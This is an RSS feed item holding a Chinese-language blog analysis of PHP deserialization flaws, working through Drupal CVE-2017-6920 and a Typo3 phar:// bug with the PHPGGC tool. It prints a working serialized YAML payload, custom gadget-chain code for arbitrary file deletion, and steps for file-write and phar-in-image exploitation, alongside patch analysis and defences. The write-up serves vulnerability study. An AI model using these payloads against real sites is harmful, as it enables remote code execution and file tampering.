<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Typo3 on 诗与胡说</title>
    <link>https://kylingit.com/tags/typo3/index.xml</link>
    <description>Recent content in Typo3 on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/typo3/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>由PHPGGC理解PHP反序列化漏洞</title>
      <link>https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</link>
      <pubDate>Mon, 08 Oct 2018 14:43:41 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/ambionics/phpggc&#34;&gt;PHPGGC&lt;/a&gt;是一款能够自动生成主流框架的序列化测试&lt;code&gt;payload&lt;/code&gt;的工具，类似Java中的&lt;a href=&#34;https://github.com/frohoff/ysoserial&#34;&gt;ysoserial&lt;/a&gt;，当前支持的框架包括&lt;code&gt;Doctrine&lt;/code&gt;, &lt;code&gt;Guzzle&lt;/code&gt;, &lt;code&gt;Laravel&lt;/code&gt;, &lt;code&gt;Magento&lt;/code&gt;, &lt;code&gt;Monolog&lt;/code&gt;, &lt;code&gt;Phalcon&lt;/code&gt;, &lt;code&gt;Slim&lt;/code&gt;, &lt;code&gt;SwiftMailer&lt;/code&gt;, &lt;code&gt;Symfony&lt;/code&gt;, &lt;code&gt;Yii&lt;/code&gt; 和 &lt;code&gt;ZendFramework&lt;/code&gt;，可以说是反序列化的武器库了。本文从该工具出发，以Drupal Yaml反序列化漏洞和Typo3反序列化漏洞为例，分析其中的多种利用方式，并介绍一下今年BlackHat议题关于新型php反序列化攻击的部分。&lt;/p&gt;

&lt;h2 id=&#34;0x02-drupal-yaml反序列化漏洞&#34;&gt;0x02 Drupal Yaml反序列化漏洞&lt;/h2&gt;

&lt;h3 id=&#34;一-介绍&#34;&gt;一、介绍&lt;/h3&gt;

&lt;p&gt;关于&lt;code&gt;Drupal&lt;/code&gt;就不过多介绍了，前阵子两个RCE漏洞杀伤力巨大，这次介绍的是去年披露的关于反序列化的漏洞，&lt;a href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2017-6920&#34;&gt;CVE-2017-6920&lt;/a&gt;，官方描述是YAML解析器处理不当导致的一个远程代码执行漏洞&lt;/p&gt;

&lt;blockquote&gt;
&lt;h3 id=&#34;pecl-yaml-parser-unsafe-object-handling-critical-drupal-8-cve-2017-6920&#34;&gt;PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920&lt;/h3&gt;

&lt;p&gt;PECL YAML parser does not handle PHP objects safely during certain operations within Drupal core. This could lead to remote code execution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;详情见&lt;a href=&#34;https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple&#34;&gt;SA-CORE-2017-003&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;二-漏洞分析&#34;&gt;二、漏洞分析&lt;/h3&gt;

&lt;p&gt;先来看一下补丁，diff 8.3.3 和 8.3.4 版本，主要修改点在&lt;code&gt;core/lib/Drupal/Component/Serialization/YamlPecl.php&lt;/code&gt;文件&lt;code&gt;decode&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1538990057077.png&#34; alt=&#34;1538990057077&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可见在&lt;code&gt;yaml_parse&lt;/code&gt;前进行了&lt;code&gt;ini_set(&#39;yaml.decode_php&#39;, 0);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;用户可控制的参数&lt;code&gt;$raw&lt;/code&gt;直接传给了&lt;code&gt;yaml_parse&lt;/code&gt;函数，而在手册上关于&lt;code&gt;yaml_parse&lt;/code&gt;函数有这么一个注意点：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning&lt;/p&gt;

&lt;p&gt;Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;也就是说，如果使用了&lt;code&gt;yaml&lt;/code&gt;标志&lt;code&gt;!php/object&lt;/code&gt;，那么这个内容会通过&lt;code&gt;unserialize()&lt;/code&gt;进行处理，设置&lt;code&gt;yaml.decode_php&lt;/code&gt;则可以禁止，这就是为什么补丁增加了这行代码。&lt;/p&gt;

&lt;p&gt;看一下调用&lt;code&gt;decode()&lt;/code&gt;方法的地方，&lt;code&gt;core/lib/Drupal/Component/Serialization/Yaml.php&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;public static function decode($raw) {
    $serializer = static::getSerializer();
    return $serializer::decode($raw);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;Yaml&lt;/code&gt;类的&lt;code&gt;decode()&lt;/code&gt;方法调用了&lt;code&gt;static::getSerializer()&lt;/code&gt;方法，跟入&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1538993007544.png&#34; alt=&#34;1538993007544&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到加载了&lt;code&gt;yaml&lt;/code&gt;扩展后就会进入&lt;code&gt;YamlPecl&lt;/code&gt;类，进而调用&lt;code&gt;Yaml::decode()&lt;/code&gt;方法，搜索调用&lt;code&gt;Yaml::decode&lt;/code&gt;并且参数能被控制的地方，在&lt;code&gt;core/modules/config/src/Form/ConfigSingleImportForm.php&lt;/code&gt;的&lt;code&gt;validateForm()&lt;/code&gt;方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$data = Yaml::decode($form_state-&amp;gt;getValue(&#39;import&#39;));
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;validateForm()&lt;/code&gt;的调用处在&lt;code&gt;http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import&lt;/code&gt;，&lt;code&gt;decode()&lt;/code&gt;的参数直接从表单获取，于是通过&lt;code&gt;import&lt;/code&gt;将恶意参数传递进去。&lt;/p&gt;

&lt;h3 id=&#34;三-漏洞利用&#34;&gt;三、漏洞利用&lt;/h3&gt;

&lt;p&gt;现在我们需要找到一个类，使之在被反序列化的时候执行危险函数，常规搜索&lt;code&gt;_destruct&lt;/code&gt;、&lt;code&gt;_tostring&lt;/code&gt;以及&lt;code&gt;_wakeup&lt;/code&gt;方法，在&lt;code&gt;drupal&lt;/code&gt;核心中有这么三个类可以被利用，其中两个在&lt;code&gt;phpggc&lt;/code&gt;工具中已经集成 ，另一个我们手动加入到&lt;code&gt;phpggc&lt;/code&gt;中&lt;/p&gt;

&lt;h4 id=&#34;1-远程代码执行&#34;&gt;1.  远程代码执行&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;vendor/guzzlehttp/psr7/src/FnStream.php&lt;/code&gt; &lt;code&gt;FnStream&lt;/code&gt;类的&lt;code&gt;__destruct()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;  public function __destruct()
  {
      if (isset($this-&amp;gt;_fn_close)) {
          call_user_func($this-&amp;gt;_fn_close);
      }
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们通过序列化这个类，传递参数&lt;code&gt;_fn_close&lt;/code&gt;为任意php代码，在&lt;code&gt;yaml_parse&lt;/code&gt;的时候反序列化便可以造成一个任意代码执行。&lt;/p&gt;

&lt;p&gt;在PHPGGC中已经内置这个类，查看信息&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539050117155.png&#34; alt=&#34;1539050117155&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看一下内部实现&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539050287387.png&#34; alt=&#34;1539050287387&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;phpggc&lt;/code&gt;将&lt;code&gt;_fn_close&lt;/code&gt;参数设置为&lt;code&gt;HandlerStack&lt;/code&gt;类，再在&lt;code&gt;HandlerStack&lt;/code&gt;序列化的时候传入可控参数&lt;code&gt;$handler&lt;/code&gt;，而在这个案例中我们不需要额外的&lt;code&gt;HandlerStack&lt;/code&gt;类了，所以对&lt;code&gt;generate()&lt;/code&gt;方法稍加修改，直接构造一个&lt;code&gt;FnStream&lt;/code&gt;类，注意参数是&lt;code&gt;array&lt;/code&gt;类型：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;return new \GuzzleHttp\Psr7\FnStream([
    &#39;close&#39; =&amp;gt; $code
]);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后生成序列化数据：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539050803329.png&#34; alt=&#34;1539050803329&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着拼接&lt;code&gt;YAML_PHP_TAG&lt;/code&gt;即&lt;code&gt;!php/object&lt;/code&gt;，并且要将字符串转义，注意序列化数据中的空字符，我们将其替换成&lt;code&gt;\0&lt;/code&gt;，最终生成的字符串如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;!php/object &amp;quot;O:24:\&amp;quot;GuzzleHttp\\Psr7\\FnStream\&amp;quot;:2:{s:33:\&amp;quot;\0GuzzleHttp\\Psr7\\FnStream\0methods\&amp;quot;;a:1:{s:5:\&amp;quot;close\&amp;quot;;s:7:\&amp;quot;phpinfo\&amp;quot;;}s:9:\&amp;quot;_fn_close\&amp;quot;;s:7:\&amp;quot;phpinfo\&amp;quot;;}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;http://127.0.0.1/drupal-8.3.3/admin/config/development/configuration/single/import&lt;/code&gt;import序列化后的数据，便可以执行代码&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539051346096.png&#34; alt=&#34;1539051346096&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539051456660.png&#34; alt=&#34;1539051456660&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;2-任意文件写入&#34;&gt;2.  任意文件写入&lt;/h4&gt;

&lt;p&gt;上面&lt;code&gt;call_user_func()&lt;/code&gt;造成了一个任意代码执行，我们再找到一个&lt;code&gt;file_put_contents()&lt;/code&gt;造成任意文件写入&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php&lt;/code&gt;的&lt;code&gt;FileCookieJar&lt;/code&gt;类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539051809132.png&#34; alt=&#34;1539051809132&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__destruct()&lt;/code&gt;调用&lt;code&gt;save()&lt;/code&gt;方法，通过&lt;code&gt;file_put_contents()&lt;/code&gt;写入文件内容，而文件名和文件内容均是我们可以控制的，所以此处可以写入一个shell&lt;/p&gt;

&lt;p&gt;同样地看一下&lt;code&gt;phpggc&lt;/code&gt;中有关&lt;code&gt;FileCookieJar&lt;/code&gt;类的部分：&lt;code&gt;gadgetchains/Guzzle/FW/1/chain.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052187458.png&#34; alt=&#34;1539052187458&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过这个类生成序列化数据&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052263375.png&#34; alt=&#34;1539052263375&#34; /&gt;&lt;/p&gt;

&lt;p&gt;需要提供远程文件路径和本地文件路径两个参数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052815893.png&#34; alt=&#34;1539052815893&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着还是拼接和转义，并import数据&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539052742894.png&#34; alt=&#34;1539052742894&#34; /&gt;&lt;/p&gt;

&lt;p&gt;写入的是整个json字符串，但是不影响代码执行。&lt;/p&gt;

&lt;h4 id=&#34;3-任意文件删除&#34;&gt;3.  任意文件删除&lt;/h4&gt;

&lt;p&gt;另一个类是&lt;code&gt;WindowsPipes&lt;/code&gt;，路径&lt;code&gt;vendor/symfony/process/Pipes/WindowsPipes.php&lt;/code&gt;，该类可以造成文件删除&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539053196182.png&#34; alt=&#34;1539053196182&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;phpggc&lt;/code&gt;中没有内置这个类，于是我们按照这个工具的框架来实现一下，方便理解该工具。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;lib/PHPGGC/GadgetChain.php&lt;/code&gt;已经有&lt;code&gt;TYPE_FD&lt;/code&gt;这个类型，代表&lt;code&gt;file_delete&lt;/code&gt;，那么我们直接在&lt;code&gt;lib/PHPGGC/GadgetChain/&lt;/code&gt;注册一个&lt;code&gt;FileDelete&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php

namespace PHPGGC\GadgetChain;

abstract class FileDelete extends \PHPGGC\GadgetChain
{
    public static $type = self::TYPE_FD;
    public $parameters = [
        &#39;file_name&#39;
    ];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个类就可以作为POP链拿来使用了&lt;/p&gt;

&lt;p&gt;然后在&lt;code&gt;Symfony&lt;/code&gt;目录下创建&lt;code&gt;RMF/1&lt;/code&gt;，并创建&lt;code&gt;chain&lt;/code&gt;和&lt;code&gt;gadgets&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gadgetchains/Symfony/RMF/1/chain.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php

namespace GadgetChain\Symfony;

class RMF1 extends \PHPGGC\GadgetChain\FileDelete
{
    public $version = &#39;2.6 &amp;lt;= 2.8.32&#39;;
    public $vector = &#39;__destruct&#39;;
    public $author = &#39;crlf&#39;;
    public $informations = &#39;Remove remote file.&#39;;

    public function generate(array $parameters)
    {
        $input = $parameters[&#39;file_name&#39;];

        return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;gadgetchains/Symfony/RMF/1/gadgets.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
    private $files = array();

    public function __construct($input)
    {
        $this-&amp;gt;files = array($input);
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们直接生成&lt;code&gt;WindowsPipes&lt;/code&gt;的序列化数据，把文件名作为参数传入，在反序列化的时候自动调用&lt;code&gt;removeFiles()&lt;/code&gt;，实现任意文件删除&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539053814915.png&#34; alt=&#34;1539053814915&#34; /&gt;&lt;/p&gt;

&lt;p&gt;生成序列化字符串&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539053942995.png&#34; alt=&#34;1539053942995&#34; /&gt;&lt;/p&gt;

&lt;p&gt;import后文件被删除&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539054380813.png&#34; alt=&#34;1539054380813&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;四-总结&#34;&gt;四、总结&lt;/h3&gt;

&lt;p&gt;通过这个漏洞对&lt;code&gt;phpggc&lt;/code&gt;工具有了一定了解，我们可以添加自定义&lt;code&gt;POP&lt;/code&gt;链到工具中，用来丰富这个武器库。&lt;/p&gt;

&lt;p&gt;另外针对这个漏洞，文件写入和文件删除都需要知道网站的绝对路径，加上需要登录后才能利用，一定程度上加大了利用难度。&lt;/p&gt;

&lt;h2 id=&#34;0x03-typo3反序列化漏洞&#34;&gt;0x03 Typo3反序列化漏洞&lt;/h2&gt;

&lt;h3 id=&#34;一-介绍-1&#34;&gt;一、介绍&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Typo3&lt;/code&gt;也是一款著名的CMS，但是在国内流行程度不如&lt;code&gt;Wordpress&lt;/code&gt;。这个漏洞是今年&lt;code&gt;BlackHat&lt;/code&gt;大会上由&lt;code&gt;Sam Thomas&lt;/code&gt;分享反序列化漏洞议题时作为案例来讲的，该漏洞由&lt;code&gt;phar://&lt;/code&gt;触发，这是一个新型的反序列化利用方式，日常开发中容易忽略这个风险点，在漏洞利用中也用到了&lt;code&gt;phpggc&lt;/code&gt;这个工具，所以一并学习。&lt;/p&gt;

&lt;p&gt;关于该漏洞的官方描述，可以看&lt;a href=&#34;https://typo3.org/security/advisory/typo3-core-sa-2018-002/&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;二-phar-介绍&#34;&gt;二、phar://介绍&lt;/h3&gt;

&lt;p&gt;在分析漏洞前先介绍一下&lt;code&gt;phar://&lt;/code&gt;伪协议，直接看php手册的&lt;a href=&#34;http://php.net/manual/en/intro.phar.php&#34;&gt;介绍&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单来说&lt;code&gt;phar&lt;/code&gt;就是&lt;code&gt;php&lt;/code&gt;压缩文档。它可以把多个文件归档到同一个文件中，而且不经过解压就能被php访问并执行，与&lt;code&gt;file://&lt;/code&gt; &lt;code&gt;php://&lt;/code&gt;等类似，也是一种流包装器。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;phar&lt;/code&gt;结构由4部分组成&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stub&lt;/code&gt;  phar文件标识，格式为 &lt;code&gt;xxx&amp;lt;?php xxx; __HALT_COMPILER();?&amp;gt;；&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;manifest&lt;/code&gt;  压缩文件的属性等信息，以&lt;strong&gt;序列化&lt;/strong&gt;存储；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;contents&lt;/code&gt;  压缩文件的内容；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;signature&lt;/code&gt;  签名，放在文件末尾；&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里有两个关键点，一是文件标识，必须以&lt;code&gt;__HALT_COMPILER();?&amp;gt;&lt;/code&gt;结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者&lt;code&gt;pdf&lt;/code&gt;文件来绕过一些上传限制；二是反序列化，&lt;code&gt;phar&lt;/code&gt;存储的&lt;code&gt;meta-data&lt;/code&gt;信息以序列化方式存储，当文件操作函数通过&lt;code&gt;phar://&lt;/code&gt;伪协议解析&lt;code&gt;phar&lt;/code&gt;文件时就会将数据反序列化，而这样的文件操作函数有很多，包括下面这些：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539063733837.png&#34; alt=&#34;1539063733837&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图片来自&lt;a href=&#34;https://paper.seebug.org/680/&#34;&gt;seebug&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这中间大多数是常用的函数，在一个系统中使用相当广泛，结合文件伪造，使得通过&lt;code&gt;phar://&lt;/code&gt;解析造成的反序列化攻击变得愈加容易。&lt;/p&gt;

&lt;h3 id=&#34;三-漏洞分析&#34;&gt;三、漏洞分析&lt;/h3&gt;

&lt;p&gt;接下来看一下Typo3中存在漏洞的代码&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;typo3/sysext/core/Classes/Database/SoftReferenceIndex.php&lt;/code&gt;的&lt;code&gt;getTypoLinkParts()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539064169518.png&#34; alt=&#34;1539064169518&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上面说到存在风险的文件操作函数，其中就包括&lt;code&gt;file_exists()&lt;/code&gt;，当传给&lt;code&gt;file_exists()&lt;/code&gt;的参数是&lt;code&gt;phar&lt;/code&gt;压缩文档并通过&lt;code&gt;phar://&lt;/code&gt;伪协议解析时，就会反序列化其中的&lt;code&gt;metadata&lt;/code&gt;数据，一旦该数据被控制，就会形成漏洞。&lt;/p&gt;

&lt;p&gt;下面举一个例子演示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539064567894.png&#34; alt=&#34;1539064567894&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539064633273.png&#34; alt=&#34;1539064633273&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到通过&lt;code&gt;file_exists()&lt;/code&gt;函数判断文件是否存在即对&lt;code&gt;TestObject&lt;/code&gt;类进行了反序列化。&lt;/p&gt;

&lt;p&gt;那么我们可以构造&lt;code&gt;$splitLinkParam&lt;/code&gt;参数为&lt;code&gt;phar&lt;/code&gt;文件，其中包含恶意代码，传递给&lt;code&gt;file_exists()&lt;/code&gt;函数，便会触发漏洞。&lt;/p&gt;

&lt;h3 id=&#34;四-漏洞利用&#34;&gt;四、漏洞利用&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/s-n-t/phpggc&#34;&gt;pharggc&lt;/a&gt;是在&lt;code&gt;phpggc&lt;/code&gt;的基础上增加了对&lt;code&gt;phar&lt;/code&gt;的支持，能够将序列化后的&lt;code&gt;payload&lt;/code&gt;写入到&lt;code&gt;phar&lt;/code&gt;文件中，通过&lt;code&gt;phar://&lt;/code&gt;解析时触发&lt;code&gt;payload&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;我们已经找到可以触发漏洞的地方，但还需要一个类来执行代码，在Typo3中同样存在&lt;code&gt;FnStream&lt;/code&gt;类，所以我们还是使用&lt;code&gt;guzzle/rce1&lt;/code&gt;载荷将数据写入一张图片中&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539065928944.png&#34; alt=&#34;1539065928944&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539065937046.png&#34; alt=&#34;1539065937046&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后上传这个附件，接着创建一个页面，将Link设置为&lt;code&gt;phar://&lt;/code&gt;，注意需要将&lt;code&gt;:&lt;/code&gt;转义&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539067380611.png&#34; alt=&#34;1539067380611&#34; /&gt;&lt;/p&gt;

&lt;p&gt;保存后就会触发漏洞&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539067384583.png&#34; alt=&#34;1539067384583&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1539070664504.png&#34; alt=&#34;1539070664504&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;五-总结及防御&#34;&gt;五、总结及防御&lt;/h3&gt;

&lt;p&gt;这个漏洞利用的是&lt;code&gt;phar&lt;/code&gt;的特性，在系统未过滤&lt;code&gt;phar://&lt;/code&gt;协议且参数可以控制时，容易引发漏洞，开发时也需要多注意限制使用不必要的流包装器，上传文件也要校验文件内容而不仅仅是文件头。&lt;/p&gt;

&lt;p&gt;防范措施&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;限制PHP流包装器的使用(传递)；&lt;/li&gt;
&lt;li&gt;控制文件操作函数的参数，过滤特殊字符，例如 phar:// 等；&lt;/li&gt;
&lt;li&gt;仅在特别请求时才对元数据进行反序列化；&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;0x04-总结&#34;&gt;0x04 总结&lt;/h2&gt;

&lt;p&gt;本文分析了两个漏洞，并结合&lt;code&gt;phpggc&lt;/code&gt;工具梳理了反序列化漏洞常见的攻击方式，以及如何寻找一条可以利用的POP链，也提到了开发中容易忽略的安全风险，希望能给大家起到帮助。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/334/&#34;&gt;https://paper.seebug.org/334/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/680&#34;&gt;https://paper.seebug.org/680&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/ambionics/phpggc&#34;&gt;https://github.com/ambionics/phpggc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/s-n-t/phpggc&#34;&gt;https://github.com/s-n-t/phpggc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://php.net/manual/en/function.yaml-parse.php&#34;&gt;http://php.net/manual/en/function.yaml-parse.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://php.net/manual/en/intro.phar.php&#34;&gt;http://php.net/manual/en/intro.phar.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple&#34;&gt;https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://typo3.org/security/advisory/typo3-core-sa-2018-002/&#34;&gt;https://typo3.org/security/advisory/typo3-core-sa-2018-002/&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>